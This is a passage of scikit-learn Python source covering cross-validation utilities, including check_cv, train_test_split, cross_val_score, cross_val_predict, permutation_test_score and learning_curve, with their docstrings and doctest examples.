    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:
          - None, to use the default 3-fold cross-validation,
          - integer, to specify the number of folds.
          - An object to be used as a cross-validation generator.
          - An iterable yielding train/test splits.

        For integer/None inputs, if classifier is True and ``y`` is either
        binary or multiclass, :class:`StratifiedKFold` is used. In all other
        cases, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    y : array-like, optional
        The target variable for supervised learning problems.

    classifier : boolean, optional, default False
        Whether the task is a classification task, in which case
        stratified KFold will be used.

    Returns
    -------
    checked_cv : a cross-validator instance.
        The return value is a cross-validator which generates the train/test
        splits via the ``split`` method.
    """
    if cv is None:
        cv = 3

    if isinstance(cv, numbers.Integral):
        if (classifier and (y is not None) and
                (type_of_target(y) in ('binary', 'multiclass'))):
            return StratifiedKFold(cv)
        else:
            return KFold(cv)

    if not hasattr(cv, 'split') or isinstance(cv, str):
        if not isinstance(cv, Iterable) or isinstance(cv, str):
            raise ValueError("Expected cv as an integer, cross-validation "
                             "object (from sklearn.model_selection) "
                             "or an iterable. Got %s." % cv)
        return _CVIterableWrapper(cv)

    return cv  # New style cv objects are passed without any modification


def train_test_split(*arrays, **options):
    """Split arrays or matrices into random train and test subsets

    Quick utility that wraps input validation and
    ``next(ShuffleSplit().split(X, y))`` and application to input data
    into a single call for splitting (and optionally subsampling) data in a
    oneliner.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    *arrays : sequence of indexables with same length / shape[0]
        Allowed inputs are lists, numpy arrays, scipy-sparse
        matrices or pandas dataframes.

    test_size : float, int, or None (default is None)
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the dataset to include in the test split. If
        int, represents the absolute number of test samples. If None,
        the value is automatically set to the complement of the train size.
        If train size is also None, test size is set to 0.25.

    train_size : float, int, or None (default is None)
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the dataset to include in the train split. If
        int, represents the absolute number of train samples. If None,
        the value is automatically set to the complement of the test size.

    random_state : int or RandomState
        Pseudo-random number generator state used for random sampling.

    stratify : array-like or None (default is None)
        If not None, data is split in a stratified fashion, using this as
        the labels array.

    Returns
    -------
    splitting : list, length=2 * len(arrays)
        List containing train-test split of inputs.

        .. versionadded:: 0.16
            If the input is sparse, the output will be a
            ``scipy.sparse.csr_matrix``. Else, output type is the same as the
            input type.

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.model_selection import train_test_split
    >>> X, y = np.arange(10).reshape((5, 2)), range(5)
    >>> X
    array([[0, 1],
           [2, 3],
           [4, 5],
           [6, 7],
           [8, 9]])
    >>> list(y)
    [0, 1, 2, 3, 4]

    >>> X_train, X_test, y_train, y_test = train_test_split(
    ...     X, y, test_size=0.33, random_state=42)
    ...
    >>> X_train
    array([[4, 5],
           [0, 1],
           [6, 7]])
    >>> y_train
    [2, 0, 3]
    >>> X_test
    array([[2, 3],
           [8, 9]])
    >>> y_test
    [1, 4]

    """
    n_arrays = len(arrays)
    if n_arrays == 0:
        raise ValueError("At least one array required as input")
    test_size = options.pop('test_size', None)
    train_size = options.pop('train_size', None)
    random_state = options.pop('random_state', None)
    stratify = options.pop('stratify', None)

    if options:
        raise TypeError("Invalid parameters passed: %s" % str(options))

    if test_size is None and train_size is None:
        test_size = 0.25

    arrays = indexable(*arrays)

    if stratify is not None:
        CVClass = StratifiedShuffleSplit
    else:
        CVClass = ShuffleSplit

    cv = CVClass(test_size=test_size,
                 train_size=train_size,
                 random_state=random_state)

    train, test = next(cv.split(X=arrays[0], y=stratify))
    return list(chain.from_iterable((safe_indexing(a, train),
                                     safe_indexing(a, test)) for a in arrays))


train_test_split.__test__ = False  # to avoid a pb with nosetests


def _safe_split(estimator, X, y, indices, train_indices=None):
    """Create subset of dataset and properly handle kernels."""
    if (hasattr(estimator, 'kernel') and callable(estimator.kernel) and
            not isinstance(estimator.kernel, GPKernel)):
        # cannot compute the kernel values with custom function
        raise ValueError("Cannot use a custom kernel function. "
                         "Precompute the kernel matrix instead.")

    if not hasattr(X, "shape"):
        if getattr(estimator, "_pairwise", False):
            raise ValueError("Precomputed kernels or affinity matrices have "
                             "to be passed as arrays or sparse matrices.")
        X_subset = [X[index] for index in indices]
    else:
        if getattr(estimator, "_pairwise", False):
            # X is a precomputed square kernel matrix
            if X.shape[0] != X.shape[1]:
                raise ValueError("X should be a square kernel matrix")
            if train_indices is None:
                X_subset = X[np.ix_(indices, indices)]
            else:
                X_subset = X[np.ix_(indices, train_indices)]
        else:
            X_subset = safe_indexing(X, indices)

    if y is not None:
        y_subset = safe_indexing(y, indices)
    else:
        y_subset = None

    return X_subset, y_subset


def _build_repr(self):
    # XXX This is copied from BaseEstimator's get_params
    cls = self.__class__
    init = getattr(cls.__init__, 'deprecated_original', cls.__init__)
    # Ignore varargs, kw and default values and pop self
    init_signature = signature(init)
    # Consider the constructor parameters excluding 'self'
    if init is object.__init__:
        args = []
    else:
        args = sorted([p.name for p in init_signature.parameters.values()
                       if p.name != 'self' and p.kind != p.VAR_KEYWORD])
    class_name = self.__class__.__name__
    params = dict()
    for key in args:
        # We need deprecation warnings to always be on in order to
        # catch deprecated param values.
        # This is set in utils/__init__.py but it gets overwritten
        # when running under python3 somehow.
        warnings.simplefilter("always", DeprecationWarning)
        try:
            with warnings.catch_warnings(record=True) as w:
                value = getattr(self, key, None)
            if len(w) and w[0].category == DeprecationWarning:
                # if the parameter is deprecated, don't show it
                continue
        finally:
            warnings.filters.pop(0)
        params[key] = value

    return '%s(%s)' % (class_name, _pprint(params, offset=len(class_name)))






"""
The :mod:`sklearn.model_selection._validation` module includes classes and
functions to validate the model.
"""

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>,
#         Gael Varoquaux <gael.varoquaux@normalesup.org>,
#         Olivier Grisel <olivier.grisel@ensta.org>
# License: BSD 3 clause


from __future__ import print_function
from __future__ import division

import warnings
import numbers
import time

import numpy as np
import scipy.sparse as sp

from ..base import is_classifier, clone
from ..utils import indexable, check_random_state, safe_indexing
from ..utils.fixes import astype
from ..utils.validation import _is_arraylike, _num_samples
from ..externals.joblib import Parallel, delayed, logger
from ..metrics.scorer import check_scoring
from ..exceptions import FitFailedWarning

from ._split import KFold
from ._split import LabelKFold
from ._split import LeaveOneLabelOut
from ._split import LeaveOneOut
from ._split import LeavePLabelOut
from ._split import LeavePOut
from ._split import ShuffleSplit
from ._split import LabelShuffleSplit
from ._split import StratifiedKFold
from ._split import StratifiedShuffleSplit
from ._split import PredefinedSplit
from ._split import check_cv, _safe_split

__all__ = ['cross_val_score', 'cross_val_predict', 'permutation_test_score',
           'learning_curve', 'validation_curve']

ALL_CVS = {'KFold': KFold,
           'LabelKFold': LabelKFold,
           'LeaveOneLabelOut': LeaveOneLabelOut,
           'LeaveOneOut': LeaveOneOut,
           'LeavePLabelOut': LeavePLabelOut,
           'LeavePOut': LeavePOut,
           'ShuffleSplit': ShuffleSplit,
           'LabelShuffleSplit': LabelShuffleSplit,
           'StratifiedKFold': StratifiedKFold,
           'StratifiedShuffleSplit': StratifiedShuffleSplit,
           'PredefinedSplit': PredefinedSplit}

LABEL_CVS = {'LabelKFold': LabelKFold,
             'LeaveOneLabelOut': LeaveOneLabelOut,
             'LeavePLabelOut': LeavePLabelOut,
             'LabelShuffleSplit': LabelShuffleSplit}


def cross_val_score(estimator, X, y=None, labels=None, scoring=None, cv=None,
                    n_jobs=1, verbose=0, fit_params=None,
                    pre_dispatch='2*n_jobs'):
    """Evaluate a score by cross-validation

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    estimator : estimator object implementing 'fit'
        The object to use to fit the data.

    X : array-like
        The data to fit. Can be, for example a list, or an array at least 2d.

    y : array-like, optional, default: None
        The target variable to try to predict in the case of
        supervised learning.

    labels : array-like, with shape (n_samples,), optional
        Group labels for the samples used while splitting the dataset into
        train/test set.

    scoring : string, callable or None, optional, default: None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:
          - None, to use the default 3-fold cross validation,
          - integer, to specify the number of folds in a `(Stratified)KFold`,
          - An object to be used as a cross-validation generator.
          - An iterable yielding train, test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, :class:`StratifiedKFold` is used. In all
        other cases, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    n_jobs : integer, optional
        The number of CPUs to use to do the computation. -1 means
        'all CPUs'.

    verbose : integer, optional
        The verbosity level.

    fit_params : dict, optional
        Parameters to pass to the fit method of the estimator.

    pre_dispatch : int, or string, optional
        Controls the number of jobs that get dispatched during parallel
        execution. Reducing this number can be useful to avoid an
        explosion of memory consumption when more jobs get dispatched
        than CPUs can process. This parameter can be:

            - None, in which case all the jobs are immediately
              created and spawned. Use this for lightweight and
              fast-running jobs, to avoid delays due to on-demand
              spawning of the jobs

            - An int, giving the exact number of total jobs that are
              spawned

            - A string, giving an expression as a function of n_jobs,
              as in '2*n_jobs'

    Returns
    -------
    scores : array of float, shape=(len(list(cv)),)
        Array of scores of the estimator for each run of the cross validation.

    Examples
    --------
    >>> from sklearn import datasets, linear_model
    >>> from sklearn.model_selection import cross_val_score
    >>> diabetes = datasets.load_diabetes()
    >>> X = diabetes.data[:150]
    >>> y = diabetes.target[:150]
    >>> lasso = linear_model.Lasso()
    >>> print(cross_val_score(lasso, X, y))  # doctest: +ELLIPSIS
    [ 0.33150734  0.08022311  0.03531764]

    See Also
    ---------
    :func:`sklearn.metrics.make_scorer`:
        Make a scorer from a performance metric or loss function.

    """
    X, y, labels = indexable(X, y, labels)

    cv = check_cv(cv, y, classifier=is_classifier(estimator))
    scorer = check_scoring(estimator, scoring=scoring)
    # We clone the estimator to make sure that all the folds are
    # independent, and that it is pickle-able.
    parallel = Parallel(n_jobs=n_jobs, verbose=verbose,
                        pre_dispatch=pre_dispatch)
    scores = parallel(delayed(_fit_and_score)(clone(estimator), X, y, scorer,
                                              train, test, verbose, None,
                                              fit_params)
                      for train, test in cv.split(X, y, labels))
    return np.array(scores)[:, 0]


def _fit_and_score(estimator, X, y, scorer, train, test, verbose,
                   parameters, fit_params, return_train_score=False,
                   return_parameters=False, error_score='raise'):
    """Fit estimator and compute scores for a given dataset split.

    Parameters
    ----------
    estimator : estimator object implementing 'fit'
        The object to use to fit the data.

    X : array-like of shape at least 2D
        The data to fit.

    y : array-like, optional, default: None
        The target variable to try to predict in the case of
        supervised learning.

    scorer : callable
        A scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    train : array-like, shape (n_train_samples,)
        Indices of training samples.

    test : array-like, shape (n_test_samples,)
        Indices of test samples.

    verbose : integer
        The verbosity level.

    error_score : 'raise' (default) or numeric
        Value to assign to the score if an error occurs in estimator fitting.
        If set to 'raise', the error is raised. If a numeric value is given,
        FitFailedWarning is raised. This parameter does not affect the refit
        step, which will always raise the error.

    parameters : dict or None
        Parameters to be set on the estimator.

    fit_params : dict or None
        Parameters that will be passed to ``estimator.fit``.

    return_train_score : boolean, optional, default: False
        Compute and return score on training set.

    return_parameters : boolean, optional, default: False
        Return parameters that has been used for the estimator.

    Returns
    -------
    train_score : float, optional
        Score on training set, returned only if `return_train_score` is `True`.

    test_score : float
        Score on test set.

    n_test_samples : int
        Number of test samples.

    scoring_time : float
        Time spent for fitting and scoring in seconds.

    parameters : dict or None, optional
        The parameters that have been evaluated.
    """
    if verbose > 1:
        if parameters is None:
            msg = ''
        else:
            msg = '%s' % (', '.join('%s=%s' % (k, v)
                          for k, v in parameters.items()))
        print("[CV] %s %s" % (msg, (64 - len(msg)) * '.'))

    # Adjust length of sample weights
    fit_params = fit_params if fit_params is not None else {}
    fit_params = dict([(k, _index_param_value(X, v, train))
                      for k, v in fit_params.items()])

    if parameters is not None:
        estimator.set_params(**parameters)

    start_time = time.time()

    X_train, y_train = _safe_split(estimator, X, y, train)
    X_test, y_test = _safe_split(estimator, X, y, test, train)

    try:
        if y_train is None:
            estimator.fit(X_train, **fit_params)
        else:
            estimator.fit(X_train, y_train, **fit_params)

    except Exception as e:
        if error_score == 'raise':
            raise
        elif isinstance(error_score, numbers.Number):
            test_score = error_score
            if return_train_score:
                train_score = error_score
            warnings.warn("Classifier fit failed. The score on this train-test"
                          " partition for these parameters will be set to %f. "
                          "Details: \n%r" % (error_score, e), FitFailedWarning)
        else:
            raise ValueError("error_score must be the string 'raise' or a"
                             " numeric value. (Hint: if using 'raise', please"
                             " make sure that it has been spelled correctly.)")

    else:
        test_score = _score(estimator, X_test, y_test, scorer)
        if return_train_score:
            train_score = _score(estimator, X_train, y_train, scorer)

    scoring_time = time.time() - start_time

    if verbose > 2:
        msg += ", score=%f" % test_score
    if verbose > 1:
        end_msg = "%s -%s" % (msg, logger.short_format_time(scoring_time))
        print("[CV] %s %s" % ((64 - len(end_msg)) * '.', end_msg))

    ret = [train_score] if return_train_score else []
    ret.extend([test_score, _num_samples(X_test), scoring_time])
    if return_parameters:
        ret.append(parameters)
    return ret


def _score(estimator, X_test, y_test, scorer):
    """Compute the score of an estimator on a given test set."""
    if y_test is None:
        score = scorer(estimator, X_test)
    else:
        score = scorer(estimator, X_test, y_test)
    if hasattr(score, 'item'):
        try:
            # e.g. unwrap memmapped scalars
            score = score.item()
        except ValueError:
            # non-scalar?
            pass
    if not isinstance(score, numbers.Number):
        raise ValueError("scoring must return a number, got %s (%s) instead."
                         % (str(score), type(score)))
    return score


def cross_val_predict(estimator, X, y=None, labels=None, cv=None, n_jobs=1,
                      verbose=0, fit_params=None, pre_dispatch='2*n_jobs',
                      method='predict'):
    """Generate cross-validated estimates for each input data point

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    estimator : estimator object implementing 'fit' and 'predict'
        The object to use to fit the data.

    X : array-like
        The data to fit. Can be, for example a list, or an array at least 2d.

    y : array-like, optional, default: None
        The target variable to try to predict in the case of
        supervised learning.

    labels : array-like, with shape (n_samples,), optional
        Group labels for the samples used while splitting the dataset into
        train/test set.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:
          - None, to use the default 3-fold cross validation,
          - integer, to specify the number of folds in a `(Stratified)KFold`,
          - An object to be used as a cross-validation generator.
          - An iterable yielding train, test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, :class:`StratifiedKFold` is used. In all
        other cases, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    n_jobs : integer, optional
        The number of CPUs to use to do the computation. -1 means
        'all CPUs'.

    verbose : integer, optional
        The verbosity level.

    fit_params : dict, optional
        Parameters to pass to the fit method of the estimator.

    pre_dispatch : int, or string, optional
        Controls the number of jobs that get dispatched during parallel
        execution. Reducing this number can be useful to avoid an
        explosion of memory consumption when more jobs get dispatched
        than CPUs can process. This parameter can be:

            - None, in which case all the jobs are immediately
              created and spawned. Use this for lightweight and
              fast-running jobs, to avoid delays due to on-demand
              spawning of the jobs

            - An int, giving the exact number of total jobs that are
              spawned

            - A string, giving an expression as a function of n_jobs,
              as in '2*n_jobs'

    method : string, optional, default: 'predict'
        Invokes the passed method name of the passed estimator.

    Returns
    -------
    predictions : ndarray
        This is the result of calling ``method``

    Examples
    --------
    >>> from sklearn import datasets, linear_model
    >>> from sklearn.model_selection import cross_val_predict
    >>> diabetes = datasets.load_diabetes()
    >>> X = diabetes.data[:150]
    >>> y = diabetes.target[:150]
    >>> lasso = linear_model.Lasso()
    >>> y_pred = cross_val_predict(lasso, X, y)
    """
    X, y, labels = indexable(X, y, labels)

    cv = check_cv(cv, y, classifier=is_classifier(estimator))

    # Ensure the estimator has implemented the passed decision function
    if not callable(getattr(estimator, method)):
        raise AttributeError('{} not implemented in estimator'
                             .format(method))

    # We clone the estimator to make sure that all the folds are
    # independent, and that it is pickle-able.
    parallel = Parallel(n_jobs=n_jobs, verbose=verbose,
                        pre_dispatch=pre_dispatch)
    prediction_blocks = parallel(delayed(_fit_and_predict)(
        clone(estimator), X, y, train, test, verbose, fit_params, method)
        for train, test in cv.split(X, y, labels))

    # Concatenate the predictions
    predictions = [pred_block_i for pred_block_i, _ in prediction_blocks]
    test_indices = np.concatenate([indices_i
                                   for _, indices_i in prediction_blocks])

    if not _check_is_permutation(test_indices, _num_samples(X)):
        raise ValueError('cross_val_predict only works for partitions')

    inv_test_indices = np.empty(len(test_indices), dtype=int)
    inv_test_indices[test_indices] = np.arange(len(test_indices))

    # Check for sparse predictions
    if sp.issparse(predictions[0]):
        predictions = sp.vstack(predictions, format=predictions[0].format)
    else:
        predictions = np.concatenate(predictions)
    return predictions[inv_test_indices]


def _fit_and_predict(estimator, X, y, train, test, verbose, fit_params,
                     method):
    """Fit estimator and predict values for a given dataset split.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    estimator : estimator object implementing 'fit' and 'predict'
        The object to use to fit the data.

    X : array-like of shape at least 2D
        The data to fit.

    y : array-like, optional, default: None
        The target variable to try to predict in the case of
        supervised learning.

    train : array-like, shape (n_train_samples,)
        Indices of training samples.

    test : array-like, shape (n_test_samples,)
        Indices of test samples.

    verbose : integer
        The verbosity level.

    fit_params : dict or None
        Parameters that will be passed to ``estimator.fit``.

    method : string
        Invokes the passed method name of the passed estimator.

    Returns
    -------
    predictions : sequence
        Result of calling 'estimator.method'

    test : array-like
        This is the value of the test parameter
    """
    # Adjust length of sample weights
    fit_params = fit_params if fit_params is not None else {}
    fit_params = dict([(k, _index_param_value(X, v, train))
                      for k, v in fit_params.items()])

    X_train, y_train = _safe_split(estimator, X, y, train)
    X_test, _ = _safe_split(estimator, X, y, test, train)

    if y_train is None:
        estimator.fit(X_train, **fit_params)
    else:
        estimator.fit(X_train, y_train, **fit_params)
    func = getattr(estimator, method)
    predictions = func(X_test)
    return predictions, test


def _check_is_permutation(indices, n_samples):
    """Check whether indices is a reordering of the array np.arange(n_samples)

    Parameters
    ----------
    indices : ndarray
        integer array to test
    n_samples : int
        number of expected elements

    Returns
    -------
    is_partition : bool
        True iff sorted(locs) is range(n)
    """
    if len(indices) != n_samples:
        return False
    hit = np.zeros(n_samples, bool)
    hit[indices] = True
    if not np.all(hit):
        return False
    return True


def _index_param_value(X, v, indices):
    """Private helper function for parameter value indexing."""
    if not _is_arraylike(v) or _num_samples(v) != _num_samples(X):
        # pass through: skip indexing
        return v
    if sp.issparse(v):
        v = v.tocsr()
    return safe_indexing(v, indices)


def permutation_test_score(estimator, X, y, labels=None, cv=None,
                           n_permutations=100, n_jobs=1, random_state=0,
                           verbose=0, scoring=None):
    """Evaluate the significance of a cross-validated score with permutations

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    estimator : estimator object implementing 'fit'
        The object to use to fit the data.

    X : array-like of shape at least 2D
        The data to fit.

    y : array-like
        The target variable to try to predict in the case of
        supervised learning.

    labels : array-like, with shape (n_samples,), optional
        Group labels for the samples used while splitting the dataset into
        train/test set.

    scoring : string, callable or None, optional, default: None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:
          - None, to use the default 3-fold cross validation,
          - integer, to specify the number of folds in a `(Stratified)KFold`,
          - An object to be used as a cross-validation generator.
          - An iterable yielding train, test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, :class:`StratifiedKFold` is used. In all
        other cases, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    n_permutations : integer, optional
        Number of times to permute ``y``.

    n_jobs : integer, optional
        The number of CPUs to use to do the computation. -1 means
        'all CPUs'.

    random_state : RandomState or an int seed (0 by default)
        A random number generator instance to define the state of the
        random permutations generator.

    verbose : integer, optional
        The verbosity level.

    Returns
    -------
    score : float
        The true score without permuting targets.

    permutation_scores : array, shape (n_permutations,)
        The scores obtained for each permutations.

    pvalue : float
        The returned value equals p-value if `scoring` returns bigger
        numbers for better scores (e.g., accuracy_score). If `scoring` is
        rather a loss function (i.e. when lower is better such as with
        `mean_squared_error`) then this is actually the complement of the
        p-value:  1 - p-value.

    Notes
    -----
    This function implements Test 1 in:

        Ojala and Garriga. Permutation Tests for Studying Classifier
        Performance.  The Journal of Machine Learning Research (2010)
        vol. 11

    """
    X, y, labels = indexable(X, y, labels)

    cv = check_cv(cv, y, classifier=is_classifier(estimator))
    scorer = check_scoring(estimator, scoring=scoring)
    random_state = check_random_state(random_state)

    # We clone the estimator to make sure that all the folds are
    # independent, and that it is pickle-able.
    score = _permutation_test_score(clone(estimator), X, y, labels, cv, scorer)
    permutation_scores = Parallel(n_jobs=n_jobs, verbose=verbose)(
        delayed(_permutation_test_score)(
            clone(estimator), X, _shuffle(y, labels, random_state),
            labels, cv, scorer)
        for _ in range(n_permutations))
    permutation_scores = np.array(permutation_scores)
    pvalue = (np.sum(permutation_scores >= score) + 1.0) / (n_permutations + 1)
    return score, permutation_scores, pvalue


permutation_test_score.__test__ = False  # to avoid a pb with nosetests


def _permutation_test_score(estimator, X, y, labels, cv, scorer):
    """Auxiliary function for permutation_test_score"""
    avg_score = []
    for train, test in cv.split(X, y, labels):
        estimator.fit(X[train], y[train])
        avg_score.append(scorer(estimator, X[test], y[test]))
    return np.mean(avg_score)


def _shuffle(y, labels, random_state):
    """Return a shuffled copy of y eventually shuffle among same labels."""
    if labels is None:
        indices = random_state.permutation(len(y))
    else:
        indices = np.arange(len(labels))
        for label in np.unique(labels):
            this_mask = (labels == label)
            indices[this_mask] = random_state.permutation(indices[this_mask])
    return y[indices]


def learning_curve(estimator, X, y, labels=None,
                   train_sizes=np.linspace(0.1, 1.0, 5), cv=None, scoring=None,
                   exploit_incremental_learning=False, n_jobs=1,
                   pre_dispatch="all", verbose=0):
    """Learning curve.

    Determines cross-validated training and test scores for different training
    set sizes.

    A cross-validation generator splits the whole dataset k times in training
    and test data. Subsets of the training set with varying sizes will be used
    to train the estimator and a score for each training subset size and the
    test set will be computed. Afterwards, the scores will be averaged over
    all k runs for each training subset size.

    Read more in the :ref:`User Guide <learning_curve>`.

    Parameters
    ----------
    estimator : object type that implements the "fit" and "predict" methods
        An object of that type which is cloned for each validation.

    X : array-like, shape (n_samples, n_features)
        Training vector, where n_samples is the number of samples and
        n_features is the number of features.

    y : array-like, shape (n_samples) or (n_samples, n_features), optional
        Target relative to X for classification or regression;
        None for unsupervised learning.

    labels : array-like, with shape (n_samples,), optional
        Group labels for the samples used while splitting the dataset into
        train/test set.

    train_sizes : array-like, shape (n_ticks,), dtype float or int
        Relative or absolute numbers of training examples that will be used to
        generate the learning curve. If the dtype is float, it is regarded as a
        fraction of the maximum size of the training set (that is determined
        by the selected validation method), i.e. it has to be within (0, 1].
        Otherwise it is interpreted as absolute sizes of the training sets.
        Note that for classification the number of samples usually have to
        be big enough to contain at least one sample from each class.
        (default: np.linspace(0.1, 1.0, 5))

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:
          - None, to use the default 3-fold cross validation,
          - integer, to specify the number of folds in a `(Stratified)KFold`,
          - An object to be used as a cross-validation generator.
          - An iterable yielding train, test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, :class:`StratifiedKFold` is used. In all
        other cases, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    scoring : string, callable or None, optional, default: None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    exploit_incremental_learning : boolean, optional, default: False
        If the estimator supports incremental learning, this will be
        used to speed up fitting for different training set sizes.

    n_jobs : integer, optional
        Number of jobs to run in parallel (default 1).

    pre_dispatch : integer or string, optional
        Number of predispatched jobs for parallel execution (default is
        all). The option can reduce the allocated memory. The string can
        be an expression like '2*n_jobs'.

    verbose : integer, optional
        Controls the verbosity: the higher, the more messages.

    Returns
    -------
    train_sizes_abs : array, shape = (n_unique_ticks,), dtype int
        Numbers of training examples that has been used to generate the
        learning curve. Note that the number of ticks might be less
        than n_ticks because duplicate entries will be removed.

    train_scores : array, shape (n_ticks, n_cv_folds)
        Scores on training sets.

    test_scores : array, shape (n_ticks, n_cv_folds)
        Scores on test set.

    Notes
    -----
    See :ref:`examples/model_selection/plot_learning_curve.py
    <sphx_glr_auto_examples_model_selection_plot_learning_curve.py>`
    """
    if exploit_incremental_learning and not hasattr(estimator, "partial_fit"):
        raise ValueError("An estimator must support the partial_fit interface "
                         "to exploit incremental learning")
    X, y, labels = indexable(X, y, labels)

    cv = check_cv(cv, y, classifier=is_classifier(estimator))
    cv_iter = cv.split(X, y, labels)
    # Make a list since we will be iterating multiple times over the folds
    cv_iter = list(cv_iter)
    scorer = check_scoring(estimator, scoring=scoring)

    n_max_training_samples = len(cv_iter[0][0])
    # Because the lengths of folds can be significantly different, it is
    # not guaranteed that we use all of the available training data when we
    # use the first 'n_max_training_samples' samples.
    train_sizes_abs = _translate_train_sizes(train_sizes,
                                             n_max_training_samples)
    n_unique_ticks = train_sizes_abs.shape[0]
    if verbose > 0:
        print("[learning_curve] Training set sizes: " + str(train_sizes_abs))

    parallel = Parallel(n_jobs=n_jobs, pre_dispatch=pre_dispatch,
                        verbose=verbose)
    if exploit_incremental_learning:
        classes = np.unique(y) if is_classifier(estimator) else None
        out = parallel(delayed(_incremental_fit_estimator)(
            clone(estimator), X, y, classes, train, test, train_sizes_abs,
            scorer, verbose) for train, test in cv.split(X, y, labels))
    else:
        out = parallel(delayed(_fit_and_score)(
            clone(estimator), X, y, scorer, train[:n_train_samples], test,
            verbose, parameters=None, fit_params=None, return_train_score=True)
            for train, test in cv_iter
            for n_train_samples in train_sizes_abs)
        out = np.array(out)[:, :2]
        n_cv_folds = out.shape[0] // n_unique_ticks
        out = out.reshape(n_cv_folds, n_unique_ticks, 2)

    out = np.asarray(out).transpose((2, 1, 0))

    return train_sizes_abs, out[0], out[1]


def _translate_train_sizes(train_sizes, n_max_training_samples):
    """Determine absolute sizes of training subsets and validate 'train_sizes'.

    Examples:
        _translate_train_sizes([0.5, 1.0], 10) -> [5, 10]
        _translate_train_sizes([5, 10], 10) -> [5, 10]

    Parameters
    ----------
    train_sizes : array-like, shape (n_ticks,), dtype float or int
        Numbers of training examples that will be used to generate the
        learning curve. If the dtype is float, it is regarded as a
        fraction of 'n_max_training_samples', i.e. it has to be within (0, 1].

    n_max_training_samples : int
        Maximum number of training samples (upper bound of 'train_sizes').

    Returns
    -------
    train_sizes_abs : array, shape (n_unique_ticks,), dtype int
        Numbers of training examples that will be used to generate the
        learning curve. Note that the number of ticks might be less
        than n_ticks because duplicate entries will be removed.
    """
    train_sizes_abs = np.asarray(train_sizes)
    n_ticks = train_sizes_abs.shape[0]
    n_min_required_samples = np.min(train_sizes_abs)
    n_max_required_samples = np.max(train_sizes_abs)
    if np.issubdtype(train_sizes_abs.dtype, np.float):
        if n_min_required_samples <= 0.0 or n_max_required_samples > 1.0:
            raise ValueError("train_sizes has been interpreted as fractions "
                             "of the maximum number of training samples and "
                             "must be within (0, 1], but is within [%f, %f]."
                             % (n_min_required_samples,
                                n_max_required_samples))
        train_sizes_abs = astype(train_sizes_abs * n_max_training_samples,
                                 dtype=np.int, copy=False)
        train_sizes_abs = np.clip(train_sizes_abs, 1,
                                  n_max_training_samples)
    else:
        if (n_min_required_samples <= 0 or
                n_max_required_samples > n_max_training_samples):
            raise ValueError("train_sizes has been interpreted as absolute "
                             "numbers of training samples and must be within "
                             "(0, %d], but is within [%d, %d]."
                             % (n_max_training_samples,
                                n_min_required_samples,
                                n_max_required_samples))

    train_sizes_abs = np.unique(train_sizes_abs)
    if n_ticks > train_sizes_abs.shape[0]:
        warnings.warn("Removed duplicate entries from 'train_sizes'. Number "
                      "of ticks will be less than the size of "
                      "'train_sizes' %d instead of %d)."
                      % (train_sizes_abs.shape[0], n_ticks), RuntimeWarning)

    return train_sizes_abs


def _incremental_fit_estimator(estimator, X, y, classes, train, test,
                               train_sizes, scorer, verbose):
    """Train estimator on training subsets incrementally and compute scores."""
    train_scores, test_scores = [], []
    partitions = zip(train_sizes, np.split(train, train_sizes)[:-1])
    for n_train_samples, partial_train in partitions:
        train_subset = train[:n_train_samples]
        X_train, y_train = _safe_split(estimator, X, y, train_subset)
        X_partial_train, y_partial_train = _safe_split(estimator, X, y,
                                                       partial_train)
        X_test, y_test = _safe_split(estimator, X, y, test, train_subset)
        if y_partial_train is None:
            estimator.partial_fit(X_partial_train, classes=classes)
        else:
            estimator.partial_fit(X_partial_train, y_partial_train,
                                  classes=classes)
        train_scores.append(_score(estimator, X_train, y_train, scorer))
        test_scores.append(_score(estimator, X_test, y_test, scorer))
    return np.array((train_scores, test_scores)).T


def validation_curve(estimator, X, y, param_name, param_range, labels=None,
                     cv=None, scoring=None, n_jobs=1, pre_dispatch="all",
                     verbose=0):
    """Validation curve.

    Determine training and test scores for varying parameter values.

    Compute scores for an estimator with different values of a specified
    parameter. This is similar to grid search with one parameter. However, this
    will also compute training scores and is merely a utility for plotting the
    results.

    Read more in the :ref:`User Guide <learning_curve>`.

    Parameters
    ----------
    estimator : object type that implements the "fit" and "predict" methods
        An object of that type which is cloned for each validation.

    X : array-like, shape (n_samples, n_features)
        Training vector, where n_samples is the number of samples and
        n_features is the number of features.

    y : array-like, shape (n_samples) or (n_samples, n_features), optional
        Target relative to X for classification or regression;
        None for unsupervised learning.

